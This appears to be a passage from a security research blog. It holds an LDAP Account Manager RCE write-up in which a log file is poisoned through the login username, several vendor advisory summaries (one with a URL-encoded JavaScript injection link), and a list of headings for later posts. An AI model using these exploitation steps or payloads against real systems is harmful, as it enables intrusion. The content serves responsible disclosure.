if (isset($_POST['logFile']) && ($_POST['logFile'] != "") &&
        preg_match("/^[a-z0-9\\/\\\\:\\._-]+$/i", $_POST['logFile'])) {
    $cfg->logDestination = $_POST['logFile'];
} else {
    $errors[] = _("The log file is empty or contains invalid characters!
                    Valid characters are: a-z, A-Z, 0-9, /, \\, ., :, _ and -.");
}

As we can see, there is no checking for path traversal, file extensions sanitization or any other form of sanitization. This is promising for our exploitation.

We further saw in the same file that the settings are saved via $cfg->save();.

// save settings
if (isset($_POST['submit'])) {
    $cfg->save();
    if (sizeof($errors) == 0) {
        metaRefresh('../login.php?confMainSavedOk=1');
        exit();
    }
}

$cfg is an object of class LAMConfig defined in lib/config.inc. The save() function also does not do any further sanitization and thus saves it to the file directly.

Now we need to know an absolute path on the webserver, in order to deliberately store the malicious log file. We could not find an information disclosure in LAM, but as luck was on our side, there is a file on the server in old/phpinfo.php. We found this directory using ffuf. As the name suggests, the phpinfo.php calls phpinfo() and thus prints the absolute filepath on the server, among a bunch of other information. With this information in hand, we configured LAM to write the config file to /var/www/html/old/demo.php.

Note: A correct LAM installation, as described in offical sources, does not expose any writable paths. Thus, the exploitation relies on either a misconfigured installation or “third-party” writable file systems paths.

Finding a poisonable log entry

Now we need to find a user controllable value that is written to the log file. First, we need to find how log entries are created. So, we grep through the code with ack and look for the already known config value logDestination.

$ ack logDestination

[..]

lib/security.inc
267:    if (($cfg->logDestination == 'NONE')
276:    if ($cfg->logDestination == 'SYSLOG') {
280:    elseif (strpos($cfg->logDestination, 'REMOTE') === 0) {
285:            @touch($cfg->logDestination);
286:            if (is_writable($cfg->logDestination)) {
287:                    $file = fopen($cfg->logDestination, 'a');
300:                    StatusMessage('ERROR', 'Unable to write to log file!', $cfg->logDestination);
791:    $remoteParts = explode(':', $cfgMain->logDestination);

[..]

Among other hits, lib/security.inc seems to be the correct location. Looking in the actual file reveals the function logNewMessage, which is the next keyword that we ~~grep~~ ack for.

ack logNewMessage

templates/login.php
109:    logNewMessage(LOG_DEBUG, "Change server profile to " . $_GET['useProfile']);
186:    logNewMessage(LOG_DEBUG, "Display login page");
508:                    logNewMessage(LOG_DEBUG, "Empty password for login");
567:                            logNewMessage(LOG_ERR, 'User ' . $username . ' (' . $clientSource . ') 
                                    failed to log in. ' . $searchError . '');
590:    logNewMessage(LOG_NOTICE, 'User ' . $username . ' (' . $clientSource . ') successfully logged in.');

Nice! A failed login saves the username? That looks good! Let’s try!

First, we verify that the log file is accessible by opening the page:

Success! So let us poison the username with PHP source code :). We use Burp to intercept the login request.

We send it to the repeater and insert a PHP payload that runs the id command.

Let us see how the log file now looks like:

Oh yes, the PHP code got interpreted and the id command executed on the server. The result is rendered in the log file! We got RCE on the server and can continue compromising the customer!

Conclusion

Default credentials are always dangerous, even if only simple settings can be configured. Also, it is not a good idea to expose old/test/dev files on your servers; simple information such as a filepath can be useful for an attacker to successfully breach your system. Just because a project is 20 years old doesn’t mean that it doesn’t contain security vulnerabilities or that they have all been discovered. Hence, researching for vulnerabilities can end in success when attempting to gain access to systems.

Vulnerability Details

This vulnerability has been assigned CVE-2024-23333 via GHSA-fm9w-7m7v-wxqv with a CVSS 3 score of 7.9.

The issue has been fixed in LAM version 8.7, affected versions are < 8.7.

Additionally, vulnerability CVE-2024-52792 has been discovered, that could bypass the security fix.

Timeline

2024-01-11: Vulnerability CVE-2024-23333 reported to the vendor.
2024-03-16: Vendor has reported that the vulnerability has been fixed.
2024-11-15: Vulnerability CVE-2024-52792 reported to the vendor.
2024-11-19: Vendor has reported that the vulnerability has been fixed.
2025-01-14: This blog post was published.

Remote buffer overflow vulnerability in SharkSSL TLS handshake processing

2024-12-19T00:00:00+00:00

A new remote buffer overflow vulnerability was discovered in the latest version of the SharkSSL library from 05.05.2024 (https://github.com/RealTimeLogic/SharkSSL) by security evaluators of Deutsche Telekom Security GmbH and Deutsche Telekom AG with modern fuzzing methods. The vulnerability allows an attacker to read large regions of the SharkSSL TLS server’s memory. This is likely to result in a segmentation fault and can be used for a remote Denial-of-Service attack by an attacker. Special thanks to Robert Hörr for his support, supervision and guidance during this research.

View the full advisory

Tuta Mail Vulnerability - Client Information Leak

2024-11-29T00:00:00+00:00

An client information leak vulnerability (CVE-2024-23330) has been identified in Tuta Mail. This vulnerability could leak client information by loading external resources in the mail even if disabled.

Details

Product: Tuta Mail
Affected Version: Tuta Mail < 3.119.10
Vulnerability Type: Server-Side Request Forgery (SSRF) (CWE-918)
Risk Level: Medium
Vendor URL: https://tuta.com/
Vendor acknowledged vulnerability: Yes
Vendor Status: Fixed
CVE: CVE-2024-23330

The vulnerability was discovered during testing of Tutanota for iOS. By sending a html email with an embeded svg image, an attacker could receive the information when the email was read, which device is used and the user’s ip address.

References

Timeline

2024-01-22: Vendor has reported that the vulnerability has been fixed.
2024-11-29: This blog post was published.

Credits

Tom Peine (Tom.Peine@telekom.de)

Tuta Mail Vulnerability - DoS

2024-11-29T00:00:00+00:00

A denial of service vulnerability (CVE-2024-23655) has been identified in Tuta Mail. This vulnerability could prevent users from accessing and reading received mails when an attacker sends a manipulated mail.

Details

Product: Tuta Mail
Affected Version: Tuta Mail >=3.118.12, < 3.119.10
Vulnerability Type: Improper Input Validation (CWE-20)
Risk Level: High
Vendor URL: https://tuta.com/
Vendor acknowledged vulnerability: Yes
Vendor Status: Fixed
CVE: CVE-2024-23655

The vulnerability was discovered during testing of Tutanota for iOS. By sending a manipulated email, an attacker could put the app into an unusable state. In this case, a user can no longer access received e-mails. Since the vulnerability affects not only the app, but also the web application, a user in this case has no way to access received emails.

References

Timeline

2024-01-25: Vendor has reported that the vulnerability has been fixed.
2024-11-29: This blog post was published.

Credits

Tom Peine (Tom.Peine@telekom.de)

Security Content for iOS, iPadOS, and macOS

2024-11-27T00:00:00+00:00

A heap corruption vulnerability (CVE-2024-44126) has been identified in several Apple products that use the ARKit component. This vulnerability could compromise the security of devices when processing a specially crafted file.

Details

Product: Apple Software
Affected Version: macOS Ventura < 13.7.1, iOS < 17.7, iPadOS < 17.7, macOS Sonoma < 14.7
Vulnerability Type: Out-of-bounds Write (CWE-787)
Risk Level: High
Vendor URL: https://support.apple.com
Vendor acknowledged vulnerability: Yes
Vendor Status: Fixed
CVE: CVE-2024-44126

This vulnerability has the potential to lead to data exfiltration and system instability, posing a risk to users of iOS and macOS devices. It is recommended that users ensure they have the latest software versions installed to mitigate this vulnerability.

References

Timeline

2024-09-16: Vendor has fixed the vulnerability.
2024-10-28: Vendor has reported that the vulnerability has been fixed.
2024-11-27: This blog post was published.

Credits

Holger Fuhrmannek (holger.fuhrmannek@telekom.de)

Remote buffer overflow vulnerability in SharkSSL TLS Client Key Exchange handshake processing

2024-11-04T00:00:00+00:00

A new remote buffer overflow vulnerability (CVE-2024-48075) was discovered in the latest version of the SharkSSL library from 09.09.2024 (https://github.com/RealTimeLogic/SharkSSL) by security evaluators of Deutsche Telekom Security GmbH and Deutsche Telekom AG with modern fuzzing methods.

View the full advisory

Collabora Office for Android - JavaScript Injection via Links

2024-09-06T00:00:00+00:00

A JavaScript Injection vulnerability (CVE-2024-45045) has been identified in Collabora Office for Android, allowing an attacker to execute arbitrary JavaScript within the context of the Android App when a victim opens a specially crafted document.

Details

Product: Collabora Office for Android
Affected Version: < 24.04.6.2
Vulnerability Type: Improper Neutralization of Encoded URI Schemes in a Web Page (CWE-84)
Risk Level: Medium
Vendor URL: https://www.collaboraonline.com/collabora-office-android-ios/
Vendor acknowledged vulnerability: Yes
Vendor Status: Fixed
CVE: CVE-2024-45045

The vulnerability was discovered during testing of Collabora Office for Android. In affected versions of the app, it is possible to inject JavaScript via a document with a specially crafted link using URL-encoded values. For instance, a link with the target "http://www.google.de/%22%27%2b%61%6c%65%72%74%28%31%29%2b%27" triggers the execution of the JavaScript code "alert(1)" when the link is activated. Since it is possible for a link to be automatically activated when a document is opened, the vulnerability could be triggered after a victim opens a document without any further user interaction.

Impact

Since the Android JavaScript interface allows access to internal functions, the likelihood that the app could be compromised via this vulnerability is considered high.

Remediation

It is recommended to upgrade to the latest version of Collabora Office for Android to fix this vulnerability.

References

Timeline

2024-03-18: Vulnerability reported to the vendor.
2024-08-29: Vendor has reported that the vulnerability has been fixed.
2024-09-06: This blog post was published.

Credits

Holger Fuhrmannek (holger.fuhrmannek@telekom.de)

Moodle - Reflected XSS Vulnerability via H5P error message

2024-08-28T00:00:00+00:00

A reflected cross-site scripting (XSS) vulnerability (CVE-2024-43439) has been identified in Moodle, allowing an attacker to execute arbitrary JavaScript within the context of a Moodle website when a victim visits a specially crafted link.

Details

Product: Moodle
Affected Version: 4.4 to 4.4.1, 4.3 to 4.3.5, 4.2 to 4.2.8, 4.1 to 4.1.11, and earlier unsupported versions
Vulnerability Type: Cross-site Scripting (CWE-79)
Risk Level: High
Vendor URL: https://moodle.org/
Vendor acknowledged vulnerability: Yes
Vendor Status: Fixed
CVE: CVE-2024-43439

The vulnerability was discovered during a penetration test of a Moodle-based website. The attack is possible when a teacher, who could also be the victim, uploads an H5P file to a course. While the H5P file itself does not contain malicious content, an attacker (such as a malicious student) can obtain and modify the link associated with this file. By replacing part of the link with double URL-encoded JavaScript code, the attacker can create a link that, when viewed by the victim, triggers execution of the embedded JavaScript code. This is possible because an error message related to H5P files is not properly sanitized before it is displayed.

Impact

An attacker could execute arbitrary JavaScript code within the victim’s Moodle session, which could lead to actions such as session hijacking or unauthorized data access.

Remediation

It is recommended to upgrade to the latest version of Moodle to fix this vulnerability.

Telekom Security

ABRTraryRoot: Local privilege escalation in Red Hat distributions

Affected versions, fixes and mitigations

Fix and mitigation

Releases Overview

Recent Activity

Crashing into privilege

Understanding the crash pipeline

The Bug Chain

Sneaking files into the dump directory (CVE-2026-54228)

Faking a legitimate crash

Pulling the rug mid-flight (CVE-2026-54229)

Following the symlink to root’s crontab (CVE-2026-54230)

Poisoning the well (CVE-2026-54231)

Putting it all together

But what about hardening?

Proof-of-Concept

Advisories

Credits

Timeline

From Infected Zyxel to Exposed C2: A Case Study in IoT Botnet Operations

Executive Summary

Contents

1. From Low-Volume Auth Activity to Device Access

2. Compromised Zyxel Device Analysis

2.1 zysocks5 Cluster

2.2 xserver Cluster

2.2.1 Staging, Implants, and Delivery Shifts

Earlier /tmp/ staging

Later /var/tmp/ staging

2.2.2 The Large mips Runtime on the Device

2.2.3 Local-Network Scanner: gogo.sh and gogo_linux_mips

3. The Infrastructure Shift

4. What Was Exposed

5. Shell History: How the Exposed Host Was Operated

6. Reconstructing the Operator Workflow

6.1 Staging and Config Generation

6.2 Implant Online and Victim Databases

6.3 Victim Geography and Operator-Side Target Segmentation

Tooling Geography and Operator-Side Labels

6.4 Listener and Tasking Configuration

6.5 Proxy and Tunnel Functions

6.6 Device-to-Dump Correlation

7. Analytical Limits and Open Questions

Actor Identity

Database and Implant Streams

Proxy Runtime Provenance

Current Activity and Botnet Purpose

VS Code Operator Traces

8. Conclusion

9. Infrastructure and IOC Notes

Network

Hashes

Certificate Fingerprints

Ports

SetRootLanguage: Local privilege escalation in Ubuntu via AccountsService

Affected versions, fixes and mitigations

Fix and mitigation

A language request that speaks root

Proof-of-Concept

Advisories

Credits

Timeline

From Dropbox to Violet RAT v5: A Multi-Stage WebDAV Delivery Chain

Rodent Weed - Cluster Definition and Observed Tradecraft

Key Observations

Chain of Execution

From the invoice mail to a WebDAV folder

The PDF disguised as a shortcut

A short hop through WSH and JScript

Batch staging and a portable Python runtime

Artifacts Created During Loader Execution

Persistence

Decryption and injection into explorer.exe

Violet RAT v5 as the final payload

Detection and hunting opportunities

Network

Host

Filesystem

ATT&CK techniques

2.1 `zysocks5` Cluster

2.2 `xserver` Cluster

Earlier `/tmp/` staging

Later `/var/tmp/` staging

2.2.2 The Large `mips` Runtime on the Device

2.2.3 Local-Network Scanner: `gogo.sh` and `gogo_linux_mips`

code `exec`